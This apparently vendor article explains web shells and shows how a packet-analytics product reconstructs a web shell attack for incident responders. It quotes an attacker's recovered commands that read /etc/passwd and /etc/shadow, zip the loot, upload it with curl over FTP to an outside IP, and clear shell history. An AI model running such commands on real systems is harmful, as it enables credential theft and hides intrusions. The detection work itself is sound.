What are Web Shells?
Definition of web shells, from the United States Computer Emergency Readiness Team (TA15-314A):
A web shell is a script that can be uploaded to a web server to enable remote administration of the machine. Infected web servers can be either Internet-facing or internal to the network, where the web shell is used to pivot further to internal hosts.
A web shell can be written in any language that the target web server supports. The most commonly observed web shells are written in languages that are widely supported, such as PHP and ASP. Perl, Ruby, Python, and Unix shell scripts are also used.
Using network reconnaissance tools, an adversary can identify vulnerabilities that can be exploited and result in the installation of a web shell. For example, these vulnerabilities can exist in content management systems (CMS) or web server software.
Once successfully uploaded, an adversary can use the web shell to leverage other exploitation techniques to escalate privileges and to issue commands remotely. These commands are directly linked to the privilege and functionality available to the web server and may include the ability to add, delete, and execute files as well as the ability to run shell commands, further executables, or scripts.
While often used for legitimate administration purposes, it is also a favorite tactic used by malicious actors in order to gain remote control of internet-facing web servers. Once interaction with a Web Shell is established, an attacker is free to act on any number of objectives such as service disruption, increasing foothold, and data exfiltration.
A Typical Attack Scenario
A common method of execution for this attack leverages vulnerabilities in a website (e.g. SQL Injection or Remote File Inclusion) to remotely generate or install a file that will act as a Web Shell. Once the Web Shell is successfully installed, the remote attacker may then craft an HTTP POST request directly to the Web Shell with embedded commands that will be executed as if the attacker had local (shell) access to the web server.
Attackers who successfully use WebShells take advantage of the fact that many organizations do not have complete visibility into HTTP sessions. Traditional tools rely on signatures and are easily left blind by intentional obfuscation of payloads and commands. In order to effectively respond to Web Shell attacks, defenders must maximize visibility into each stage of the attack lifecycle.
Analysts can use Security Analytics to reconstruct the entire HTTP session (request and response). This allows the analyst to see into enough of the attack lifecycle to understand the initial attack vector (e.g. Delivery, or Exploit / Installation), what an attacker is doing, and the impact to the business.
For example, a traditional logs-only SIEM has no way to alert on suspicious HTTP sessions of this nature unless a downstream signature-based tool such as an IDS / IPS or web proxy has seen the exact attack before. Furthermore, HTTP sessions cannot be reconstructed with log data alone, meaning a complete lack of visibility into C2 commands, data exfiltration, and initial entry vector.
Web Shell Visibility With RSA Security Analytics For Packets
Detecting possible Web Shell activity involves understanding what an HTTP session with an embedded command typically looks like. There are a few notable features often seen with this attack:
- Request sent directly to a web server with the HTTP POST method to send data without populating commands in the URL string: This method ensures typical web access logs do not include the command (vs. HTTP GET which would include the commands within the URL).
- No HTTP GET will have been seen before the POST (Normal human-based web traffic would have seen a GET before a POST is issued).
- (Usually) No Referrer header since the request is sent directly to the server and is not a result of click-through browsing.
- Posted data includes obfuscated shell commands to be executed by the Web Shell.
By reconstructing the entire HTTP session upon capture and immediately generating and extracting rich metadata, RSA Security Analytics makes it simple to alert on the features indicative of a Web Shell.
Once suspicious sessions are tagged, the analyst can open up the actual HTTP sessions for deeper inspection and quickly see all sessions exhibiting Web Shell behavior:
By clicking on each session, the analyst can dig deeper and reconstruct the raw contents:
The first session shows an HTTP POST request to default.php setting the variable “q” to a value of “cat /etc/passwd.” The subsequent response from the HTTP server has returned the results of the command that was executed on the local system to the attacker’s browser, displaying the raw contents of /etc/passwd–the list of users on the system! By iterating through and viewing each of the sessions, the analyst quickly discovers the entire command sequence sent to the Web Shell by the attacker:
This quick reconstruction shows the following commands executed in sequence:
cat /etc/shadow > shadow.txt
sudo zip --password Password!1 loot.zip shadow.txt loot.txt
curl –T loot.zip ftp://126.96.36.199 –user chuck:Norris
cat /dev/null > ~/.bash_history
Full session visibility has shown the analyst that the attacker copied the contents of etc/shadow (encrypted passwords for all local users of the system) along with another text file into an encrypted archive (loot.zip), proceeded to upload the small file to a host listening on 188.8.131.52 over port 80, and finally attempted to cover their tracks by removing all files and clearing the command history. A brute force attack could be used to extract credentials that could then be used to continue the attack, gaining a stronger foothold in the environment through lateral movement.
Continuing the investigation, the analyst can re-focus on the external drop zone at 184.108.40.206. A quick query into RSA Security Analytics reveals the FTP session where the analyst saw evidence of in the Web Shell commands. RSA Security Analytics detects this as an FTP session regardless of any special ports used by an attacker to help evade detection:
Drilling in further, the analyst can now confirm the data exfiltration by extracting the actual archive and decrypting it with the password that was learned earlier on in the investigation, gaining insight into the potential impact to the business:
Finally, the analyst can rewind the tape in order to try to understand how the Web Shell was installed in the first place. By looking at all traffic originating from the attacker’s IP address prior to the detected Web Shell activity, the analyst can reconstruct and see the initial SQL injection attack that resulted in the upload of the shell to the web server:
Opening up the session reveals SQL commands within the query string within the HTTP get session that resulted in data (the Web Shell) being copied to the web server:
The analyst now has all the details they need to understand the incident, the potential impact to the business, and the root cause for tightening up defenses in the future.
- Web Shells, Backdoor Trojans and RATs: http://www.akamai.com/dl/akamai/akamai-security-advisory-web-shells.pdf
- SQL Injection Vulnerability: http://en.wikipedia.org/wiki/SQL_injection
- Remote File Inclusion: http://en.wikipedia.org/wiki/File_inclusion_vulnerability#Remote_File_Inclusion
- Cyber Kill Chain: http://www.lockheedmartin.ca/us/what-we-do/information-technology/cyber-security/cyber-kill-chain.html